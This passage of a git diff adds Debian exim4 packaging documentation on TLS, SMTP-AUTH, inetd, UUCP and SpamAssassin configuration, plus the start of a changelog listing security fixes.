a resolver with DNSSEC support on the client side. + </para> + <para> + If your + server setup mandates the use of client certificates, you + need to amend your remote_smtp and/or remote_smtp_smarthost + transports with a tls_certificate option. This is not + commonly needed. + </para> + <para id="tls_client_certicate"> + To make exim send a TLS certificate to the remote host set + REMOTE_SMTP_TLS_CERTIFICATE/REMOTE_SMTP_PRIVATEKEY or for + the remote_smtp_smarthost transport + REMOTE_SMTP_SMARTHOST_TLS_CERTIFICATE/REMOTE_SMTP_SMARTHOST_PRIVATEKEY + respectively. + </para> + <para> + TLS on connect is not natively supported. + </para> + </section> + <section> <title>Enabling TLS support for Exim as server</title> + <para> + You should have created certificates in + <filename>/etc/exim4/</filename> either by hand or by usage of + the exim-gencert (which requires openssl). exim-gencert is + shipped in + <filename>/usr/share/doc/exim4-base/examples/</filename> and + takes care of proper access privileges on the private key + file. + </para> + <para> + Now, enable TLS by setting the macro MAIN_TLS_ENABLE in a + local configuration file as described in <xref linkend="macros"/>. + </para> + <para> + After this configuration, Exim will advertise STARTTLS when + connected to on the normal SMTP ports. Some broken clients + (most prominent example being nearly all versions of Microsoft + Outlook and Outlook Express, and Incredimail) insist on doing + TLS on connect on Port 465. If you need to support these, set + SMTPLISTENEROPTIONS='-oX 465:25 -oP /run/exim4/exim.pid' + in <filename>/etc/default/exim4</filename> and + "tls_on_connect_ports=465" in the main configuration section. + </para> + <para> + The -oP is needed because Exim does not write an implicit pid + file if -oX is given. Without pid file, init script and cron + job will malfunction. + </para> + <para> + It might be appropriate to add "+tls_cipher" to + any log_selector statement you might already have, or to add a + log_selector statement setting these two options in a local + configuration file. (For Debian's configuration simply define + the MAIN_LOG_SELECTOR macro.) + This option makes Exim log what cipher + your Exim and the peer's mailer have negotiated to use to + encrypt the transaction. + </para> + <para> + Exim can be configured to ask a client for a certificate and to + try to verify it. Debian's exim configuration used to enable + this by default, but stopped doing so since it caused TLS errors + with a couple of popular clients (Outlook, Incredimail, etc.). + To enable this again set the macro MAIN_TLS_TRY_VERIFY_HOSTS to + the lists hosts whose certificates you want to check. (Use * to + try checking all hosts. The value of the macro is used to + populate exim's main option tls_try_verify_hosts.) You should + also point MAIN_TLS_VERIFY_CERTIFICATES to a file containing the + accepted certificates, since its default setting + (/etc/ssl/certs/ca-certificates.crt) can contain a large list of + certificates which causes the interoperabilty problems with + Outlook et.al. noted above. + </para> + <para> + The server certificate is only used for incoming connections, + please consult <xref linkend="tls_client_certicate"/> for the + corresponding outgoing conncection options. + </para> + </section> + <section> <title>Troubleshooting</title> + <para> + If Exim complains in an SMTP session that TLS is unavailable, + the Exim mainlog or paniclog frequently has exact information + about what might be wrong. Fo example, you might see + </para> + <para> + 2003-01-27 19:06:45 TLS error on connection from localhost [127.0.0.1] + (cert/key setup): Error while reading file) + </para> + <para> + showing that there has been an error while accessing the + certificate or the private key file. + </para> + <para> + Insuffient entropy available is a frequent cause of TLS + failures in Exim context. If Exim logs "not enough random bytes + available", or simply hangs silently when an encrypted + connection should be established, then Exim was + unable to read enough random data from + <filename>/dev/random</filename> to do whatever cryptographic + operation is requested. Please check that your + <filename>/dev/random</filename> device is setup properly. + </para> + <para> + You might also find "TLS error on connection to [...] + (gnutls_handshake): The Diffie-Hellman prime sent by the server is + not acceptable (not long enough)." given as reason. Exim by default + requires a DH prime length of 1024 bits. This requirement can be + downgraded by setting the tls_dh_min_bits option on the SMTP + transport. The setting is accessible in the Debian configuration by + setting the macro TLS_DH_MIN_BITS. (e.g. "TLS_DH_MIN_BITS = 768"). + </para> + </section> + </section> + <section id="smtp-auth"> <title>SMTP-AUTH</title> + <para> + Exim can do SMTP AUTH both as a client and as a server. + </para> + <para> + AUTH PLAIN and AUTH LOGIN are disabled for connections which are + not protected by SSL/TLS per default. These authentication + methods use cleartext passwords, and allowing the + transmission of cleartext passwords on unencrypted connections + is a security risk. Therefore, the default configuration configures + Exim not to use and/or allow AUTH PLAIN and AUTH LOGIN over + unencrypted connections. + </para> + <para> + It is thus recommended to set up Exim to use TLS to encrypt + the connections. Please refer to <xref linkend="TLS"/> for + documentation about this. Note that most Microsoft clients + need special handling for TLS. + </para> + <section> <title>Using Exim as SMTP-AUTH client</title> + <para> + If you want to set up Exim as SMTP AUTH client for delivery + to your internet access provider's smarthost put the name of + the server, your login and password in + <filename>/etc/exim4/passwd.client</filename>. See the man + page for exim4-config_files(5) for more information about the + required format. + </para> + <para> + If you need to enable AUTH PLAIN or AUTH LOGIN for unencrypted + connections because your service provider does support neither + TLS encryption nor the CRAM MD5 authentication method, you can + do so by setting the AUTH_CLIENT_ALLOW_NOTLS_PASSWORDS macro. + Please refer to <xref linkend="macros"/> for an explanation of + how best to do this. + </para> + <para> + <filename>/etc/exim4/passwd.client</filename> needs to be + readable for the exim user (user Debian-exim, group + Debian-exim). It is suggested that you keep the default + permissions root:Debian-exim 0640. + </para> + </section> + <section> <title>Using Exim as SMTP-AUTH server</title> + <para> + The configuration files include many, verbosely commented, + examples for server-side smtp-authentication which just need + to be uncommented. + </para> + <para> + If you need to enable AUTH PLAIN or AUTH LOGIN for unencrypted + connections because your clients neither support TLS encryption + nor the CRAM MD5 authentication method, you can do so by setting + the AUTH_SERVER_ALLOW_NOTLS_PASSWORDS macro. Please refer to + <xref linkend="macros"/> for an explanation of how best to + do this. + </para> + <para> + If you want to authenticate against system passwords (e.g. + <filename>/etc/shadow</filename>) the easiest way is to use + saslauthd in the Debian package sasl2-bin. You have to add the + exim-user (currently Debian-exim) to the sasl group, to give + exim permission to use the saslauthd service. + </para> + <para> + The Debian exim4 maintainers consider using system login + passwords a bad idea for the following reasons: + <itemizedlist> + <listitem> + <simpara> + A compromised password will give access to a system account. + </simpara> + </listitem> + <listitem> + <simpara> + E-Mail passwords could accidentally be transmitted unencrypted. + </simpara> + </listitem> + <listitem> + <simpara> + E-Mail passwords are likely to be stored with the + client software, which greatly increases the chance of a + compromise. + </simpara> + </listitem> + </itemizedlist> + </para> + </section> + </section> + + <section> <title>How the Exim daemon is started</title> + <para> + The Debian Exim 4 packages' init script is located in + <filename>/etc/init.d/exim4</filename>. Apart from the + functions that are required by Debian policy and the LSB, it + supports the commands <command>what</command>, which executes + <command>exiwhat</command> to show what your Exim processes + are doing, and <command>force_stop</command> which + unconditionally kills all Exim processes. + </para> + <para> + The init script can be configured to start listening and/or + queue running daemons. This configuration can be found in + <filename>/etc/default/exim4</filename>. This file is + extensively documented. + </para> + </section> + + <section> <title>Miscellaneous packaging issues</title> + <section> <title>The daily cron job</title> + <para> + Exim4's daily cron job + (<filename>/etc/cron.daily/exim4-base</filename>) + does basic housekeeping tasks: + <itemizedlist> + <listitem> + <simpara> + It reads <filename>/etc/default/exim4</filename>, so you + can use this file to change any of the variables used in + the cron job. + </simpara> + </listitem> + <listitem> + <simpara> + It is a no-op if no Exim4 binary is found. + </simpara> + </listitem> + <listitem> + <simpara> + If <command>$E4BCD_DAILY_REPORT_TO</command> is set + to a non-empty string, the output of eximstats is + mailed to the address given in that variable. The + default is empty, so no reports are sent. Options + for eximstats can be given in + <command>$E4BCD_DAILY_REPORT_OPTIONS</command>. + </simpara> + </listitem> + <listitem> + <simpara> + A non-empty paniclog is a nearly sure sign of bad + things going on. Thus, the cron job will send out + warning messages to the syslog and root if it finds + the panic log non-empty. + Please note that the paniclog is not rotated daily, + so existing issues will be reported daily until + either the paniclog is rotated due to its sheer + size, or you manually move it away, for example by + calling <command>logrotate -f + /etc/logrotate.d/exim4-paniclog</command> from a shell. + </simpara> + <simpara> + Just in case your system logs transient error + situations to the panic log as well (see, for + example, + <ulink url="http://www.exim.org/bugzilla/show_bug.cgi?id=92">Exim Bug 92</ulink>), + you can configure + <command>$E4BCD_PANICLOG_NOISE</command> to a + regular expression. If the paniclog contains only + lines that match that regular expression, no warning + messages are generated. + </simpara> + <simpara> + If you want to disable paniclog monitoring + completely, set <command>$E4BCD_WATCH_PANICLOG</command> + to no. <command>E4BCD_WATCH_PANICLOG=once</command> will + rotate a non-empty paniclog automatically after sending out + the warning e-mail. + </simpara> + <simpara> + The <command>E4BCD_PANICLOG_LINES</command> setting can be + used to limit the number of lines of paniclog quoted in + warning email. It is set to 10 by default. + </simpara> + </listitem> + <listitem> + <simpara> + It tidies up the retry and hints databases. + </simpara> + </listitem> + </itemizedlist> + </para> + </section> + </section> + + <section> <title>Using Exim with inetd/xinetd</title> + <para> + Exim4 is run as a separate daemon instead of inetd/xinetd for + two reasons: + <variablelist> + <varlistentry> + <term>Ease of maintenance:</term> + <listitem> + <simpara> + update-inetd is difficult to impossible to handle + correctly (Just check the archived bug reports of Exim.) + and update-inetd seems to be unmaintained for a long + time, nobody dares to touch it. To quote Mark Baker, the + maintainer of Exim (v3): "I really wish I had never used + inetd in the first place, but simply set up exim to run + as a daemon, but it's too late to change that now." + </simpara> + </listitem> + </varlistentry> + <varlistentry> + <term>Extended features</term> + <listitem> + <simpara> + Running from <command>inetd</command> interferes with + Exim's resource controls (e.g it disables + smtp_accept_max_per_host and smtp_accept_max). + </simpara> + </listitem> + </varlistentry> + </variablelist> + </para> + <para> + If you introduce bugs on your systems by running from (x)inetd + you are on your own! If you want to run exim from + <command>xinetd</command>, follow these steps: + <orderedlist> + <listitem> + <simpara> + Disable Exim 4's listening daemon by executing + <command>update-exim4defaults --queuerunner + queueonly</command> + </simpara> + </listitem> + <listitem> + <para> + Create <filename>/etc/xinetd.d/exim4</filename> + <programlisting> +service smtp +{ + disable = no + flags = NAMEINARGS + socket_type = stream + protocol = tcp + wait = no + user = Debian-exim + group = Debian-exim + server = /usr/sbin/exim4 + server_args = exim4 -bs +} + </programlisting> + </para> + </listitem> + <listitem> + <simpara>Run <command>invoke-rc.d exim4 restart; invoke-rc.d +(x)inetd restart</command></simpara> + </listitem> + </orderedlist> + </para> + <para>If you want to use plain inetd, insert following line into + <filename>/etc/inetd.conf</filename>:<programlisting> +smtp stream tcp nowait Debian-exim /usr/sbin/exim4 exim4 -bs + </programlisting> + </para> + </section> + + <section> <title>Handling incoming mail for local accounts with low UID</title> + <para> + Since system accounts (mail, uucp, lp etc) are usually aliased + to root, and root's mailbox is usually read by a human, these + account names have started to be a common target for spammers. + The Debian Exim 4 packages have a mechanism to deal with this + situation. However, since this derives rather far from normal + behavior, it is disabled by default. + </para> + <para> + To enable it, set the macro FIRST_USER_ACCOUNT_UID to a numeric, + non-zero value. Incoming mail for local users that have a UID + lower than FIRST_USER_ACCOUNT_UID is rejected with the message "no + mail to system accounts". Incoming mail for local users that + have a UID greater or equal FIRST_USER_ACCOUNT_UID are processed as + usual. Therefore, the default value of 0 ensures that the + mechanism is disabled. On Debian systems, setting + FIRST_USER_ACCOUNT_UID to 500 or 1000 (depending on your local policy) + will disable incoming mail for system accounts. + </para> + <para> + Just in case that you need exceptions to the rule, + <filename>/etc/exim4/lowuid-aliases</filename> is an alias + file that is only honored for local accounts with UID lower + than FIRST_USER_ACCOUNT_UID. If you define an alias for such an + account here, incoming mail is processed according to the + alias. If you alias the account to itself, messages are + delivered to the account itself, which is an exception to the + rule that messages for low-UID accounts are rejected. The + format of <filename>/etc/exim4/lowuid-aliases</filename> is + just another alias file. + </para> + </section> + <section> <title>How to bypass local routing specialities</title> + <para> + Sometimes, it might be desirable to be able to bypass local + routing specialities like the alias file or a user-forward + file. This is possible in the Debian Exim4 packages by + prefixing the account name with "real-". For a local account + name "foo", "real-foo@hostname.example" will result in direct + delivery to foo's local Mailbox. + </para> + <para> + This feature is by default only available for locally + generated messages. If you want it to be accessible for + messages delivered from remote as well, set the Exim macro + COND_LOCAL_SUBMITTER to true. If you do not want this at all, + set the macro to false. Please note that the userforward + router uses this feature to get error messages delivered, i.e. + notifying the user of a syntax error in her + <filename>.forward</filename> file. + </para> + </section> + <section> <title>Using more complex deliveries from alias files</title> + <para> + Delivery to arbitrary files, directory or to pipes in the + <filename>/etc/aliases</filename> file is disabled by default + in the Debian Exim 4 packages. The delivery process including the + program being piped to would run as the exim admin-user + Debian-exim, which might open up security holes. + </para> + <para> + Invoking pipes from <filename>/etc/aliases</filename> file is + widely considered obsolete and deprecated. The Debian Exim + package maintainers would like to suggest using a dedicated + router/transport pair to invoke local processes for mail + processing. For example, the Debian mailman package contains a + <filename>/usr/share/doc/mailman/README.Exim4.Debian</filename> file + that gives a good example how to implement this. Using a + dedicated router/transport pair have the following advantages: + <itemizedlist> + <listitem> + <para> + The router/transport pair can be put in place by another + package, giving a well-defined transaction point between + Exim 4 and $PACKAGE. + </para> + </listitem> + <listitem> + <para> + Not allowing pipe deliveries from alias files makes it + harder to accidentally run programs with wrong + privileges. + </para> + </listitem> + <listitem> + <para> + It is possible to run different pipe processes under + different accounts. + </para> + </listitem> + <listitem> + <para> + Even if only invoking a single local program, it is easier + to do with your dedicated router/transport since you won't + need to change this file, making automatic updates of this + file possible for future versions of the Exim 4 packages. If + you do local changes here, dpkg conffile handling will + bother you on future updates. + </para> + </listitem> + </itemizedlist> + If you insist on using <filename>/etc/aliases</filename> in + the traditional way, you will need to activate the + respective functions by setting the transport options on the + system_aliases router appropriately. Macros are defined to make + this easier. See + +<filename>/etc/exim4/conf.d/router/400_exim4-config_system_aliases</filename> + for information about which macros are available. You might + find the address_file, address_pipe and/or address_directory + transports that are used for the userforward router helpful in + writing your own transports for use in the system_aliases router. + </para> + <para> + If any of your aliases expand to pipes or files or directories + you should set up a user and a group for these deliveries to run + under. You can do this by setting the "user" and - if necessary + - a "group" option and adding a "group" option if necessary. + Alternatively, you can specify "user" and/or "group" on the + transports that are used. + </para> + </section> + + <section> <title>Putting Exim 4 and UUCP together</title> + <para> + UUCP is a traditional way to execute remote jobs (e.g. spool + mails), and as a lot of old things there are much more than one + way to do it. However, today, the ways to handle it have boiled + down to more or less two different ways. + </para> + <para> + Our recommendation is to use bsmtp/rsmtp wherever possible, + because it supports all kinds of mail addresses (also the empty + ones in bounces), and is also better from the security point of + view. + </para> + <section> <title>Sending mail via UUCP</title> + <section> <title>rmail with full addresses</title> + <para> + rmail is the oldest way to transfer mail to a remote system. + However, today it is normally required to use addresses with + full domains for that (Well, they look like any normal address + for you, and we do not tell about the other way to not confuse + you ;). If you want this, you can use this transport: + </para> + <programlisting> +rmail: + debug_print = "T: rmail for $pipe_addresses" + driver=pipe + command = uux - -r -a$sender_address -gC $domain_data!rmail $pipe_addresses + return_fail_output + user=uucp + batch_max = 20 + </programlisting> + <para> + However, all recipients are handled via the command line, so + you are discouraged to use it. + </para> + </section> + <section> <title>bsmtp/rsmtp</title> + <para> + This is a more efficient way to transfer mails. It works + like sending SMTP via a pipe, but instead of waiting for an + answer, the SMTP is just batched; from this is also the name + batched SMTP or short bsmtp. + </para> + <para> + Furthermore, this way won't fail on addresses like " + "@do.main. If you want this, please use this, if the remote + site uses rsmtp (e.g. is Exim 4): + </para> + <programlisting> +rsmtp: + debug_print = "T: rsmtp for $pipe_addresses" + driver=pipe + command = /usr/bin/uux - -r -a$sender_address -gC $domain_data!rsmtp + use_bsmtp + return_fail_output + user=uucp + batch_max = 100 + </programlisting> + <para> + and this if it wants bsmtp as the command: + </para> + <programlisting> +bsmtp: + debug_print = "T: bsmtp for $pipe_addresses" + driver=pipe + command = /usr/bin/uux - -r -a$sender_address -gC $domain_data!bsmtp + use_bsmtp + return_fail_output + user=uucp + batch_max = 100 + </programlisting> + <para> + Of course, these examples can be extended for e.g. + compression (but you can also use ssh for compression, if + you want). + </para> + </section> + <section> <title>The router</title> + <para> + You need a router to tell Exim 4 which mails to forward to + UUCP. You can use this one; please adopt the last line. Of + course, it is also possible to send mail via more than one way. + </para> + <programlisting> +uucp_router: + debug_print = "R: uucp_router for $local_part@$domain" + driver=accept + require_files = +/usr/bin/uux + domains = wildlsearch;/etc/exim4/uucp + transport = rsmtp + </programlisting> + <para> + The file <filename>/etc/exim4/uucp</filename> looks like: + </para> + <programlisting> +*.do.main uucp.name.of.remote.side + </programlisting> + </section> + <section> <title>Speaking UUCP with the smarthost</title> + <para> + If you have a leaf system (i.e. all your mail not for your + local system goes to a single remote system), you can just + forward all non-local mail to the remote UUCP system. In + this case, you can replace "domains = ..." with "domains = ! + +local_domains", but then you need also to replace + $domain_data in the transport by the UUCP-name of your + smarthost. The file <filename>/etc/exim4/uucp</filename> is + not needed in this case. + </para> + </section> + </section> + <section> <title>Receiving mail via UUCP</title> + <section> <title>Allow UUCP to use any envelope address</title> + <para> + Depending how much you trust your local users, you might use + trusted_users and add uucp to it or use + local_sender_retain=true and local_from_check=false. + </para> + </section> + <section> <title>If you get batched smtp</title> + <para> + Allow uucp to execute rsmtp via + <programlisting> +commands rmail rnews rsmtp + </programlisting> + in your <filename>/etc/uucp/sys</filename>, and ask the + sending site to use rsmtp (and not bsmtp) as the batched + command. + </para> + </section> + </section> + </section> + <section> <title>Notes on running SpamAssassin at SMTP time</title> + <para> + Exim can run + <ulink url="https://spamassassin.apache.org/"> + SpamAssassin</ulink> while receiving a message by SMTP which + allows one to avoid acceptance of spam messages. The Debian + configuration contains some example code for running SpamAssassin, + but like all filtering this needs to be handled carefully. + </para> + <para> + SpamAssassin's default report should not be used in a add_header + statement since it contains empty lines. (This triggers e.g. + Amavis' warning "BAD HEADER SECTION, Improper folded header field + made up entirely of whitespace".) This is a safe, terse alternative: + <programlisting> + clear_report_template + report (_SCORE_ / _REQD_ requ) _TESTSSCORES(,)_ autolearn=_AUTOLEARN_ + </programlisting> + </para> + <para> + Rejecting spam messages: Do not reject spam-messages received on + (non-spam) mailing lists, this can/will cause auto-unsubscription. + This also applies to messages received via forwarding services + (e.g. @debian.org addresses). If theses messages are rejected the + forwarding services will need to send a bounce address to the + spammer and will probably disable the forwarding if it happens all + the time. You will need to have some kind of whitelist to exclude + these hosts. + </para> + <para> + Security considerations: By default <command>spamd</command> + runs as root and changes uid/gid to the requested user to run + SpamAssassin. The example uses SpamAssassin default non-privileged + user (nobody) which prevents use of Bayesian filtering since this + requires persistent storage. You might want to setup a dedicated + user for exim spam scanning and use that one, either for a separate + SpamAssassin user profile or to run SpamAssassin as non-privileged + user. + </para> + </section> + </section> + + <section> <title>Updating from Exim 3</title> + <para> + If you use <command>exim4-config</command> from Debian, you will + get the debconf based configuration scheme that is intended to + cover the majority of cases. + </para> + <para> + If <command>exim4-config</command> is installed while an Exim 3 + package is present on the system, + <command>exim4-config</command> tries to parse the Exim 3 config + file to determine the answers that were given to + <command>eximconfig</command> on Exim 3 installation. These + answers are then taken as default values for the debconf based + configuration process. Be warned! <command>eximconfig</command> + from the Exim 3 packages does not record the explicit answers + given on Exim 3 configuration. So we have to guess the answers + from the Exim 3 configuration file + <filename>/etc/exim/exim.conf</filename>, which is bound to fail + if the config file has been modified after using + <command>eximconfig</command>. + </para> + <para> + This is the reason why we refrained from doing a "silent update", but + only use the guessed answers to get reasonable defaults for our + debconf based configuration process. + </para> + <para> + Please note that we do not use the + <command>exim_convert4r4</command> script, but try to configure + the Exim 4 package in the same way Exim 3 was. This will + hopefully aid future updates. + </para> + <para> + If you have used a customized Exim 3 configuration, you can of + course use <command>exim_convert4r4</command>, and install the + resulting file as <filename>/etc/exim4/exim4.conf</filename> + after careful inspection. Exim 4 will then use that file and + ignore the file that it generated from the debconf + configuration. To aid future updates, we do, however, encourage + you not to use the + <filename>exim_convert4r4-generated</filename> file verbatim but + instead drop appropriate configuration snippets in their + appropriate place in <filename>/etc/exim4/conf.d</filename>. + </para> + </section> + <section> <title>Misc Notes</title> + <section> <title>PAM</title> + <para> + On Debian systems the PAM modules run as the same user + as the calling program, so they cannot do anything you + could not do yourself, and in particular cannot access + <filename>/etc/shadow</filename> unless the user is in group + shadow. - If you want to use + <filename>/etc/shadow</filename> for Exim's SMTP AUTH you + will need to run exim as group shadow. Only + exim4-daemon-heavy is linked against libpam. We suggest using + saslauthd instead. + </para> + </section> + <section> <title>Account name restrictions</title> + <para> + In the default configuration, Exim cannot locally deliver + mail to accounts which have capitals in their name. This is + caused by the fact that Exim converts the local part of incoming + mail to lower case before the comparison done by the + check_local_user directive in routers is done. + </para> + <para> + The router option caseful_local_part can be used to control + this, and we decided not to set this option in the Debian + configuration since it would be a rather big change to Exim's + default behavior. + </para> + </section> + <section> <title>No deliveries to root!</title> + <para> + No Exim 4 version released with any Debian OS can run + deliveries as root. If you don't redirect mail for root via + <filename>/etc/aliases</filename> to a nonprivileged + account, the mail will be delivered to + <filename>/var/mail/mail</filename> with permissions 0600 and + owner mail:mail. + </para> + <para> + This redirection is done by the mail4root router which + is last in the list and will thus catch mail for root that has not + been taken care of earlier. + </para> + </section> + <section> <title>Debugging maintainer and init scripts</title> + <para> + Most of the scripts that come with this Debian package do a + <command>set -x</command> if invoked with the environment + variable EX4DEBUG defined and non-zero. This is particularly + handy if you need to debug the maintainer scripts that are + invoked during package installation. Since dpkg redirects + stdout of maintainer scripts, calling dpkg with EX4DEBUG + set might yield interesting results. If in doubt, invoke + the maintainer scripts with EX4DEBUG set manually directly + from the command line. + </para> + </section> + <section> <title>SELinux</title> + <para> + There is no SELinux policy for Exim4 available so far. + Until this is resolved, users should use postfix or + sendmail if they intend to run SELinux. + </para> + <para> + The Debian Exim4 maintainers would appreciate if + somebody could write an SELinux policy. We will gladly + use them in the Debian packages as long as there is + somebody available to test, debug and support. + </para> + </section> + <section> <title>misc</title> + <itemizedlist> + <listitem> + <simpara> + <command>convert4r4</command> is installed as + <filename>/usr/sbin/exim_convert4r4.</filename> + </simpara> + </listitem> + <listitem> + <simpara> + The charset for $header_foo expansions defaults to + UTF-8 instead of ISO-8859-1. + </simpara> + </listitem> + <listitem> + <simpara> + <ulink url="http://marc.merlins.org/linux/exim/"> + Marc Merlin's Exim 4 Page</ulink> has a lot of ACL + examples. + </simpara> + </listitem> + <listitem> + <simpara> + For an example of Exim usage in a + <emphasis>large</emphasis> installation, see + Tony Finch's + <ulink +url="http://www-uxsup.csx.cam.ac.uk/~fanf2/hermes/doc/talks/2005-02-eximconf/"> +paper</ulink> + about the Exim installation at University of Cambridge: + </simpara> + </listitem> + </itemizedlist> + </section> + </section> + <section> <title>Debian modifications to the Exim source</title> + <itemizedlist> + <listitem> + <simpara> + Install the exim binary as /usr/sbin/exim4 instead of + /usr/sbin/exim-<version> with a symlink /usr/sbin/exim. Also + adapt the documentation. + </simpara> + </listitem> + <listitem> + <simpara> + Make the build reproducible. Pull date/time from debian/changelog + and use it as build time instead of using __DATE__. + </simpara> + </listitem> + <listitem> + <simpara> + Documentation updates + </simpara> + <itemizedlist> + <listitem> + <simpara> + Mention how to install the Debian packaged perl-modules needed + for eximstats' graphs. + </simpara> + </listitem> + <listitem> + <simpara> + Add a warning about convert4r4. + </simpara> + </listitem> + <listitem> + <simpara> + Point to the <ulink + url="mailto:pkg-exim4-users@lists.alioth.debian.org"> + Debian-specific mailing list</ulink> instead of + the <ulink url="mailto:exim-users@exim.org">official + exim-users list</ulink>. + </simpara> + </listitem> + </itemizedlist> + </listitem> + <listitem> + <simpara> + <ulink + url="http://marc.merlins.org/linux/exim/files/sa-exim-current/">localscan_dlopen.patch</ulink>: + This patch makes it possible to use and switch between + different local_scan + functions without recompiling Exim. Use + local_scan_path = /path/to/sharedobject to utilize + local_scan() in <filename>/path/to/sharedobject</filename>. + </simpara> + </listitem> + </itemizedlist> + </section> + + <section> <title>Credits</title> + <para><variablelist> + <varlistentry> + <term><ulink url="mailto:aba@not.so.argh.org">Andreas + Barth</ulink></term> + <listitem> + <simpara>UUCP documentation</simpara> + </listitem> + </varlistentry> + <varlistentry> + <term>Dan Weber, Ryen Underwood</term> + <listitem> + <simpara>inetd/xinetd documentation</simpara> + </listitem> + </varlistentry> + </variablelist> + </para> + </section> + +</article> diff --git a/debian/TODO b/debian/TODO new file mode 100644 index 0000000..00f24ac --- /dev/null +++ b/debian/TODO @@ -0,0 +1,2 @@ +The TODO list has moved to an alioth Tracker on +https://alioth.debian.org/tracker/?atid=411651&group_id=30055&func=browse diff --git a/debian/changelog b/debian/changelog new file mode 100644 index 0000000..b9625bd --- /dev/null +++ b/debian/changelog @@ -0,0 +1,6017 @@ +exim4 (4.92-8+deb10u6) buster-security; urgency=high + + * Fix several security vulnerabilities reported by Qualys and add related + robustness improvements. (Originally fixed in upstream release 4.94.3 and + in upstream GIT branch exim-4.92.3+fixes. (Special thanks to Heiko) + + CVE-2020-28025: Heap out-of-bounds read in pdkim_finish_bodyhash() + + CVE-2020-28018: Use-after-free in tls-openssl.c + + CVE-2020-28023: Out-of-bounds read in smtp_setup_msg() + + CVE-2020-28010: Heap out-of-bounds write in main() + + CVE-2020-28011: Heap buffer overflow in queue_run() + + CVE-2020-28013: Heap buffer overflow in parse_fix_phrase() + + CVE-2020-28017: Integer overflow in receive_add_recipient() + + CVE-2020-28022: Heap out-of-bounds read and write in extract_option() + + CVE-2020-28026: Line truncation and injection in spool_read_header() + + CVE-2020-28015 and CVE-2020-28021: New-line injection into spool header + file. + + CVE-2020-28009: Integer overflow in get_stdinput() + + CVE-2020-28024: Heap buffer underflow in smtp_ungetc() + + CVE-2020-28012: Missing close-on-exec flag for privileged pipe + + CVE-2020-28019: Failure to reset function pointer after BDAT error + + CVE-2020-28007: Link attack in Exim's log directory + + CVE-2020-28008: Assorted attacks in Exim's spool directory + + CVE-2020-28014, CVE-2021-27216: Arbitrary PID file creation, clobbering, + and deletion. + + -- Andreas Metzler <ametzler@debian.org> Sat, 01 May 2021 11:42:39 +0200 + +exim4 (4.92-8+deb10u5) buster; urgency=medium + + * Fix use of concurrent TLS connections under GnuTLS: + 80_01-GnuTLS-fix-hanging-callout-connections.patch + 80_02-GnuTLS-tls_write-wait-after-uncorking-the-session.patch + 80_03-GnuTLS-Do-not-care-about-corked-data-when-uncorking.patch + (Thanks, Heiko Schlittermann for the backport) + * Pull 82_TLS-use-RFC-6125-rules-for-certifucate-name-checks-w.patch from + upstream git (already included in 4.94), on TLS connections to a CNAME + verify the certificate against the original CNAME instead of against + the A record. Closes: #985243 + * In README.Debian explicitly document the limitation/extent of server + certificate checking (authenticity not enforced) in the default + configuration (Thanks, Jö Fahlke). This Closes: #985244 (improved + documentation and Closes: #985344 (Yes, without required cert + checking MitM attacks are possible, but for a stable update documenting + this is the best compromise.) + + -- Andreas Metzler <ametzler@debian.org> Thu, 18 Mar 2021 09:10:15 +0100 + +exim4 (4.92-8+deb10u4) buster-security; urgency=high + + * Fix authentication bypass in SPA authenticator due to out-of-bound buffer + read. https://bugs.exim.org/show_bug.cgi?id=2571 CVE-2020-12783 + + -- Andreas Metzler <ametzler@debian.org> Wed, 13 May 2020 18:01:31 +0200 + +exim4 (4.92-8+deb10u3) buster-security; urgency=high + + * 78_02-Fix-buffer-overflow-in-string_vformat.-Bug-2449.patch: + Fix buffer overflow in string_vformat. + + -- Andreas Metzler <ametzler@debian.org> Fri, 27 Sep 2019 18:09:35 +0200 + +exim4 (4.92-8+deb10u2) buster-security; urgency=high + + * 78_01-string.c-do-not-interpret-before-0-CVE-2019-15846.patch Fix SNI + related buffer overflow. CVE-2019-15846 + + -- Andreas Metzler <ametzler@debian.org> Tue, 03 Sep 2019 19:51:11 +0200 + +exim4 (4.92-8+deb10u1) buster-security; urgency=high + + * Fix remote command execution vulnerability related to + "${sort}"-expansion. CVE-2019-13917 OVE-20190718-0006 + + -- Andreas Metzler <ametzler@debian.org> Sat, 20 Jul 2019 13:35:58 +0200 + +exim4 (4.92-8) unstable; urgency=low + + * Pulled from exim-4.92+fixes branch: + + 75_11-GnuTLS-fix-tls_out_ocsp-under-hosts_request_ocsp.patch + Fix expansion of $tls_out_ocsp under hosts_request_ocsp. + + 75_12-GnuTLS-fix-the-advertising-of-acceptable-certs-by-th.patch + When tls_verify_certificates was set to a directory instead of a file + exim/GnuTLS would still send out the list of accepted certificates, + This did not match documented behavior. + + 75_13-Use-dsn_from-for-success-DSN-messages.-Bug-2404.patch + The dsn_from option was not used for DSN success messages. + * Pulled from upstream GIT master: + + 75_14-Fix-smtp-response-timeout.patch + Fix the timeout on smtp response to apply to the whole response instead + of resetting for every byte received. + + 75_15-Fix-detection-of-32b-platform-at-build-time.-Bug-240.patch + https://bugs.exim.org/show_bug.cgi?id=2405 + ${eval } was broken on 32bit archs. + + -- Andreas Metzler <ametzler@debian.org> Sat, 08 Jun 2019 17:37:43 +0200 + +exim4 (4.92-7) unstable; urgency=medium + + * Upload to unstable. + + -- Andreas Metzler <ametzler@debian.org> Tue, 07 May 2019 19:44:23 +0200 + +exim4 (4.92-6) experimental; urgency=medium + + * Revert 90_localscan_dlopen.dpatch removal to give Magnus some chance for + debugging sa-exim. + * Set HAVE_LOCAL_SCAN=yes in EDITME. + * Upload to experimental. + + -- Andreas Metzler <ametzler@debian.org> Tue, 16 Apr 2019 17:58:20 +0200 + +exim4 (4.92-5) unstable; urgency=medium + + * Improved spam-scanning example with accompaning information in + README.Debian. Explicitly warn about adding the default SpamAssassin + report in a header, which Closes: #774553 + * Drop 90_localscan_dlopen.dpatch. (It has been non-functional for a couple + of months.) Closes: #925982 Add a Conflicts for sa-exim, which relied on + the (working) version of the patch. Drop exim4-dev package. Add a NEWS + entry for this change. + + -- Andreas Metzler <ametzler@debian.org> Sun, 07 Apr 2019 13:39:31 +0200 + +exim4 (4.92-4) unstable; urgency=medium + + * Another patch from exim-4.92+fixes branch: + 75_10-Harden-plaintext-authenticator.patch + + -- Andreas Metzler <ametzler@debian.org> Fri, 22 Mar 2019 07:15:20 +0100 + +exim4 (4.92-3) unstable; urgency=medium + + * Pull fixes from exim-4.92+fixes branch. + + 75_05-Fix-expansions-for-RFC-822-addresses-having-comments.patch + + 75_06-Docs-Add-note-on-lsearch-for-IPv4-mapped-IPv6-addres.patch + + 75_07-Fix-crash-from-SRV-lookup-hitting-a-CNAME.patch + + 